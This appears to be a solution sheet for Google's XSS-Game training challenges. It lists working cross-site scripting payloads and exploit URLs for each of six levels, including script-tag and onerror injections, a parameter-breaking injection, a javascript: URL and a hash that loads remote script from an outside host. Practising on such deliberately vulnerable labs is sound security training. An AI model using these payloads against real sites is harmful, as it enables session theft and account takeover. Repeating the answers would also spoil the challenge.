Google's XSS-Game Solutions

[x32x01]

Below are the solutions to Google XSS challenges hosted on https://xss-game.appspot.com

########## Level 1: Hello, world of XSS ##########
*** Query ***

https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>

*** Vector ***

<script>alert(1)</script>

########## Level 2: Persistence is key ##########
*** Vector ***

"><img src=x onerror=alert(1)>

########## Level 3: That sinking feeling... ##########
*** Query ***

https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script>

*** Vector ***

'/><script>alert(1)</script>

########## Level 4: Context matters ##########
*** Query ***

https://xss-game.appspot.com/level4/frame?timer=1');alert('1

*** Vector ***

1')%3Balert('1

########## Level 5: Breaking protocol ##########
*** Query ***

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)

*** Vector ***

javascript:alert(1)

########## Follow the White Rabbit ##########
*** Query ***

https://xss-game.appspot.com/level6/frame#HTTPS://dj-infosec.divshot.io/content.js

*** Vector ***

HTTPS://dj-infosec.divshot.io/content.js